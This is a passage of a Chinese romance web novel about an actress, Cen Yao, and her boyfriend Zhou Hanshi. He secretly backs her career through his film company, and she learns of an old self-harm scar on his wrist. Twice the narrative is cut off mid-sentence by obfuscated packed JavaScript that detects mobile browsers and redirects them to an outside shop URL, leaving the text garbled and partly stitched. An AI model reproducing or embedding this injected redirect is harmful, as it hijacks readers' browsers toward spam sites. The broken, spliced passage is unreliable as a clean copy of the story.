周寒时严肃纠正她:“我们不会分手的。” 经历过太多,岑遥骨子里就不相信任何誓言的期限,可这句话从他口中说出时,她有一瞬间的怔愣,而不是质疑。 因为公司的安排,岑遥接了不少几个钱少事多的商务,行程很满。 在一起的前两个月,她与周寒时都是聚少离多的状态。 好在即使是这样,他也不会干涉她的事业。不会因为私心,就要求她抛下工作陪在他身边。实在太想见面,也只是自己挤出时间去找她。 在一起的第三个月,岑遥进了新剧组,不过依旧是配角,偶尔还要在拍戏的间隙去做一些商务活动。 在看到她的新行程表时,周寒时微微皱起了眉。 彼时他们还是分隔两地,正在视频。 岑遥察觉到他的沉默,问怎么了。 他思量着开口:“我觉得有些商务对你没有帮助,但让你很累。” 岑遥认可他的看法。 “没办法,这是公司安排的,俐姐最近也在给我争取新合作,不过没有遇到很合适的本子。” 在选剧本的事上,袁俐有自己的坚持,宁缺毋滥,岑遥也是这个想法。 “你现在分到的资源和你不匹配。”周寒时在屏幕那头望着她,说的话有些狂妄,但眼底透着认真。 “你是不是把我想得太厉害了?”岑遥弯唇,“慢慢来吧,现在已经比刚开始好很多了。” 她不想让他替自己烦心,生硬转移话题,“好了,不说这个了,月初的活动忙完,我就闲下来了,可以多陪陪你,开不开心?” 闻言,他眉眼才松动几分,“没事,你不回来,我也准备去找你了。” 周寒时说来就来,一天都不会多等。 但是这次去找岑遥,他第一个见的却是她的经纪人。 他主动约见了袁俐。 两人在岑遥拍戏的片场附近的一家咖啡馆碰面。 周寒时与袁俐想象的形象不同。 她从小畅那儿打探过岑遥男友这个人,听闻他很年轻,对岑遥无微不至,也百依百顺,她想象中的他,是那种出生在大富大贵之家,因为被保护得太好,没有个性和棱角的儒雅公子。 见了面才发现大错特错。 正值南方的酷暑,他穿得简练,白T恤配牛仔裤,高挑又清峻,虽然年轻,但眉宇幽微,气质藏锋敛锐。 周寒时不绕弯子,直白展开话题:“我想聊聊岑遥未来的发展。” “具体是哪方面呢?”袁俐面上带笑,略微防备地问。 她知道周寒时要和她谈的事情,肯定是与岑遥相关的,只不过还不明确他是什么态度。 做经纪人这么多年,不管是自己接触到的,还是这圈子里的旧事,袁俐都见过许多,比如前几年一位势头不错的小花渐渐淡圈,外界对此各有各的说法,只有知情人清楚,是因为她隐婚,男方家里不支持她再待在娱乐圈。 担心周寒时也有这个想法,她来之前就组织好了话术,不过心里还是隐隐有些担忧。 “我看了她这段时间的行程,品牌站台、直播、商场活动、平台联动……她身上的商务大部分都是低端快消品牌,报价不高,占用时间却很长。” 他点出问题,稍作停顿后继续往下说,语气带了点锐利:“最重要的一点是,我觉得这些对她的事业帮助不大。” 袁俐没想到他会说这些,一时没能给出回答。 周寒时便接着把话说完:“她几次出圈都是靠演技,但是后续的资源没有一次跟上,反而在拖后腿,你应该知道,她的后援会也不满很久了。我想问,你对她的发展有规划吗?公司接下来还准备在她身上投入吗?如果这些问题都还没明确的话,我可以一次性付清她的解约金,她的天赋不应该被浪费。” 两段话,他的态度显而易见,已经不需要她再多加揣测。 会意的那刻,袁俐眼神一亮,反应如同遇到贵人。 她朝前倾了倾身,“周总,我知道你的意思了,我可能比你更清楚岑遥的能力,但小公司,资源有限,能争取的我都争取了,其实现在接的这些商务,不光是为了给公司挣钱,也是为了保证曝光度。解约对现在的岑遥来说,不是最好的选择。” 周寒时点头,“我明白。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469490|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他推出一张名片,名片上的一角,印着“境山影业”四字。 那天下午,袁俐和周寒时聊了许久,两人出发点一致,几乎不谋而合。 - 跑完剩下的商务,新剧组的戏份也结束后,岑遥有了一段不短的假期。 不过在休假前,她从经纪人那里拿到厚厚一沓装订好的剧本,那是俐姐新谈的合作,试镜日期在下个月,到时候,会通过现场随机抽签,来决定试戏的剧情。 回到漴城后,岑遥又捡起因为拍戏落下的舞蹈课。 舞蹈课的时间在下午五点,时长是两个小时,岑遥还没有学会开车,不工作时也没有随行司机,周寒时常常接送她上下课,如果他走不开,就会让宋助理或者秘书代劳。 自从她休假后,他哪怕再忙也会抽出时间去见见她,然后披星戴月地回他自己的住处,但他偶尔也需要出差。 八月中,周寒时去了外地几天,回来那天,岑遥刚好在上舞蹈课,他提前说了来接她。 岑遥拎着舞蹈包,从舞蹈老师的工作室出来,便看到那辆熟悉的车停在路边。 低调不张扬的车型,四面贴着防窥膜,后座与主驾之间有挡板,从外面完全无法看清里面坐了什么人。 岑遥上车,很快将车门合上。 周寒时自然地贴过来。 “别,”岑遥伸手挡开他,微微赧然地解释:“我今天出了好多汗。” 她穿着面料软薄透气的白T恤和短裤,虽然在舞蹈室休息了一会儿,但天气热,她脸上的红晕仍未消褪,鬓发也被汗打湿过一遍,还未干透,模样很有生气。 周寒时低笑,想到以前夏天上体育课,跑完步之后脸蛋红扑扑的她。 他倾身,在她唇上轻啄一口,又碰碰她的脸颊,用行动表明自己毫不嫌弃。 司机轻车熟路地将车开进公寓的地下停车场。 岑遥不看重楼盘的名气,租住的公寓偏离商圈,在一处新开发的地段里,好处是环境好和隐私性强。 岑遥一进家门便进了浴室洗澡,周寒时留在客厅等待。 他对这里已经很熟悉。 岑遥住进公寓后,没有改动任何格局和原本自带的软装,室内依然维持样板房的风格。 但仔细找找,还是能找出哪些是她入住后自己添置的。 比如摆在角落的几盆绿植,高高大大的龟背竹和鸭脚木,果子掉光了的柠檬树,形状奇怪的花瓶,还有一些在外拍戏时买下的纪念品,摆在壁龛里的铜制小佛像,捕梦网…… 他起身,走到窗边的书桌旁,看到岑遥的剧本和配套的原著小说。 剧本平摊开,上面用荧光笔和蓝笔做了笔记。 他知道她喜欢在晚上的时候,伏在桌案上慢慢钻研剧情、背台词。 她这两天好像还在写稿,和他视频时,常常抱着电脑靠在床头敲敲打打,时而蹙眉沉思,时而恍然明悟。 他看着好笑,好奇她费劲地写的是什么,她却卖关子,说要保密,等完稿再拿给他看。 她总是有好多秘密。 周寒时会等她,等到她敞开心扉,愿意全部告诉他。 14. 第十四幕 岑遥从浴室出来以后,便看到周寒时静立在落地窗前。 她在原地站定,欣赏了一会儿他的背影。 他穿着衬衫和西服裤,衬衫是极浅的蓝色,肩线挺括而平直,冷冷清清的质感,像一束落进她家中的月光。 岑遥看得入神,有点不想惊扰他。 不过周寒时很快从窗面上发现她,转身走过来。 虽然才在一起三个多月,但岑遥已经能预料到他要来做什么。 果不其然,待他走近之后,她便被他抱进怀里,下颌被他用掌心托着抬起时,他也低头吻下来。 他的吻一如既往的咄咄逼人,有种病态的迷恋,舌尖抵进侵占唇腔,交换唾液。 良久,她才找到机会,适时地偏开脸,小口喘着气,但周寒时今晚格外黏人,像是还没被满足地紧追,于是吻又零零散散地落在她的脸颊、鼻尖…… 月光是烫的。 岑遥在他怀中这样想到。 温存过后,两人坐在沙发上,岑遥在调试投影仪,她今晚的计划是看完一部电影。 电影的导演是她即将试镜的那部剧的导演,她听过他的大名,但还没怎么钻研过这位导演的作品,离试镜的日期没几天了,剧本已经看过两遍,准备再下点功夫,试试投其所好。 周寒时陪她看过几部电影,以为她今晚也会拉着他一起,但调好投屏后,岑遥却对他说:“你该休息了。” 说罢,她先起身,一副要送客的样子。 “时间还早。”周寒时当然不愿意,坐着没有动。 “宋助理和我说你这几天很辛苦,跑了几个城市,还赶夜路。” 周寒时皱皱眉,“不要听他乱说。” 岑遥弯腰凑近他,素净的脸上满是不赞成,“你要不要照照镜子啊,眼睛都熬红了,我都不敢想你这几天睡了几个小时。” 如果不是他真的太不体恤自己的身体,宋助理也不至于特意和她说一声。 “我回去也睡不着。”周寒时说。 “怎么会呢?”岑遥望着他,“再说,我也没让你回去,你就在我这儿睡。” 话音落,他眼底浮出讶异。 虽然周寒时常来她的公寓,但两人还没有同床共枕过,他去她拍戏的地方看她时,也只是与她住在同一家酒店。 因为彼此都没有主动提出过要迈出那一步。 岑遥笑盈盈地补充:“别想太多,你睡你的,我睡我的,不过你可以睡我的床哦,我昨天刚换的四件套,香香的。” 她不由分说地拉起他的手,周寒时只能依着她,顺从地起身跟着她走。 进了卧室,待周寒时躺下后,岑遥将卧室的顶灯关掉,只留了一个亮度很低的床头灯。 周寒时看着她转来转去地忙着,拉紧遮光帘,将空调设置成睡眠模式,又俯身扯开薄被,搭在他的肚子上。 做完这一切之后,她没有走,在床侧坐下,轻轻拍拍他,“睡吧,等你睡着了我再走。” 阒静的房间,灯光微弱,她的脸庞隐隐约约却无比真实,他的心忽然变得平静。 他牵住她的手。 …… 周寒时睡着后,岑遥又耐心地等了一会儿,直到确定他睡熟之后,才将自己的手从他掌心慢慢抽出来。 准备出门前,她又注意到他腕间的表。 戴着表睡会硌吧? 她心里想着,伸出手小心翼翼地摸到表带上的调节扣,将腕表取下来。 再抬眼时,岑遥的视线不经意间瞥过他的腕间,她动作顿住,凝目去看。 那好像是一行字,但不是中文,岑遥不知道是什么意思。 但让她呼吸停滞的,不是这个。 借着昏昧的灯光,她看到那行字落在一道细长而深刻的疤上。 …… 岑遥选的这部电影是现实主义题材,基调压抑,剧情也不足以扣人心弦,虽然拿了奖,但那一年的票房极为惨淡。 她盯着偌大幕布,思绪却早已飘远,来来回回地想着刚刚看到的画面。 那道疤痕微微凸起,边缘缝合得规整,不歪不斜地横亘在腕间,不像是意外造成的创伤,更像被某种利器决绝地划开。 意识到那可能意味着什么,岑遥的心像被鱼线绞紧。 那行字又代表什么呢? 她不觉得文身是不三不四的象征,但也不觉得它会出现在周寒时这样的人身上。 因为突兀。 在她看来,文身是一种浓烈的意象。 起码在纹下的那刻,他想留下过什么,那行她看不懂的字,像某种情绪无法消解,燃烧之后的残骸,安静地留在他身体的某一处。 岑遥知道,一切的不合理都事出有因。 不知道是第几遍将进度条拉回开头时,卧室的门轻微响动了一下。 周寒时从里面走出来。 已经是凌晨了,他睡了五个多小时,这个时间放两部电影都绰绰有余。 穿着浅格纹睡衣的岑遥抱膝坐在沙发上,指节抵唇,幕布上不断变换的光亮映在她身上,而她在走神。 周寒时走近后,她才神思回笼。 “你醒了?”岑遥坐直,抬头看去。 他说:“我起来洗澡。” 因为之前留宿过,所以在这儿留了一套他的换洗衣物,睡前没有洗漱,一觉睡醒,他不太自在,想洗个澡再接着睡,没想到一出房间就看到了她。 周寒时将投影仪关掉,同她商量:“明天起床再看?很晚了,也该睡了。” 岑遥微微抿唇,望了望他,最后沉默地点点头。 “你去主卧睡吧,我待会儿洗完去隔壁房间。” 她继续点头,低头找到拖鞋穿上。 进了卧室后,岑遥依然毫无睡意。 她望着天花板,眼睛一眨不眨,不知道该不该问周寒时,又该用什么开场白。 不知过去多久,房间的门被轻叩两下。 岑遥说:“可以进。” 门开了,廊灯的光泄进来,映亮房内,她忽地预感到什么,略感局促地将脸往被子里埋了埋。 周寒时看到床头柜上的表,心下明了。 他刚刚就察觉她的状态不太对,以为是熬夜熬得没了精神,便没有多问。 后来在浴室解袖口的扣子时,他才察觉到空荡荡的手腕。 他走到床边,缓声问:“你看到了是吗?” 岑遥攥紧被角,轻“嗯”一声,她坐起身道歉,“对不起,我不是故意的,我担心你戴着表睡会不舒服,所以才……” 还未说完,发顶便被他揉了揉,“这有什么好对不起的。” 周寒时唇角噙着很温柔的笑,“没关系的。” “因为我以为你会不想说。” 就像她一样,还未做好完全坦露所有的准备。 他不再多言其他,坐下来用平铺直叙的话证明自己没有不愿意,“我以前……生过病,心理上的,手上的疤是病情严重的时候留下的。” 即使猜到了大概,但亲耳听他说出时,岑遥还是抽了口气。 可是她不懂,“为什么?” “很多因素,长辈影响,成长环境,还有——读大学之前,有一个非常重要的人离开了我,心理医生说那属于创伤性丧失,之后我就病了。” 岑遥握紧他的手,“那你现在好点了吗?” “嗯,我有定期去看心理医生。” 他没有说假话,认出岑遥之后,他一直按照赵医生的要求回诊。 因为经历过,所以他比谁都清楚这不是可以被美化的病,不健康的心理状态也可能会伤害到她。 看着她低头摩挲他腕上的疤,他问:“介意吗?” 岑遥飞快摇头,心口被一份重量压住,让她安静地难受着。 “这个文身是什么意思?” “梵语里一句祈福消业的经文。” 原来是梵语。 应该和那个对他很重要的人有关吧。 她抱着被子,微微朝前靠在他的肩上,他刚洗过澡,身上有淡淡的香味。 “你现在还会不开心吗?” 周寒时说:“在你身边的时候就不会。” “我有这么神奇吗?”岑遥往另一侧挪了点位置,慷慨道:“那今晚你在我身边睡吧。” 言外之意,她想尽可能让他开心点。 她掀开被子,分享自己的床铺。 周寒时深看了她一眼。 “快点。”岑遥拉他一下。 他只能躺下,“我睡眠不太好。” 尤其是刚刚已经睡过一觉。 “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岑遥回想一下试镜时的场景,“挺多的,除了两位导演和编剧外,好像还有好几家出品公司的制片人。” 市面上有名的,和制作团队有密切合作的影视出品公司就那几家,她大多都熟悉,这次有一家公司的名字却好像没怎么听过。 “俐姐,你知道境山影业吗?” 袁俐微微挑眉,没想到岑遥会自己注意到。 她犹豫了一会儿。 那天和周寒时聊完之后,在她离开之前,他提醒她暂时不要告诉岑遥。 当时她说,其实没多大关系,因为这次试镜的原则就是公正公开,好几方评审,全过程录像。 但周寒时担心岑遥提前知道影视方里有他,会被影响状态,让她等试镜结果出来之后,再找个合适的机会告诉岑遥。 虽然现在结果还没有出来,不过已经试过镜,结果是好是坏都不会有多大的影响。 岑遥见她迟迟未开口,狐疑地问:“俐姐?” “你知道男朋友手里有一家影视公司吗?” 岑遥怔然,“你的意思是境山……” “对,境山影业是他控股的,前不久他主动约我见了一面。” 袁俐花了点功夫,将那天下午和周寒时商讨的事一口气言明。 …… 岑遥靠着座椅,已经消化完全部的信息,她捏捏挎包上的小刺猬挂件,过了许久才说:“我有点不可思议。” 在认识周寒时以前,她从未幻想过,有天会有这么一个人,给她时间、给她爱,再到现在,给她不遗余力的托举。 袁俐了解她的性格,怕她这种习惯了单打独斗的人不愿意接受沾亲带故的帮助。 “一码归一码,这里面的利益是相互的,撇开你俩的情侣关系,他就只是一个商人,在认真下注,风险两方都要承担。”她语重心长,把道理揉碎了讲。 “这个行业里,一直都不缺出道前就被铺好路的艺人,好几方资本往他们身上砸资源,但是真正脱颖而出的有几个呢?” 舞台可以打造,但聚光灯也可以让瑕疵无处遁形。 话是这样说,但那天,袁俐问周寒时,“如果这次试镜,岑遥落选了怎么办?” 他的回答是:“这部剧只是公司的试水项目,还会有更好的等着她,她值得被看见。” “你怎么想?” 岑遥说:“他愿意相信我,那我也会证明自己的。”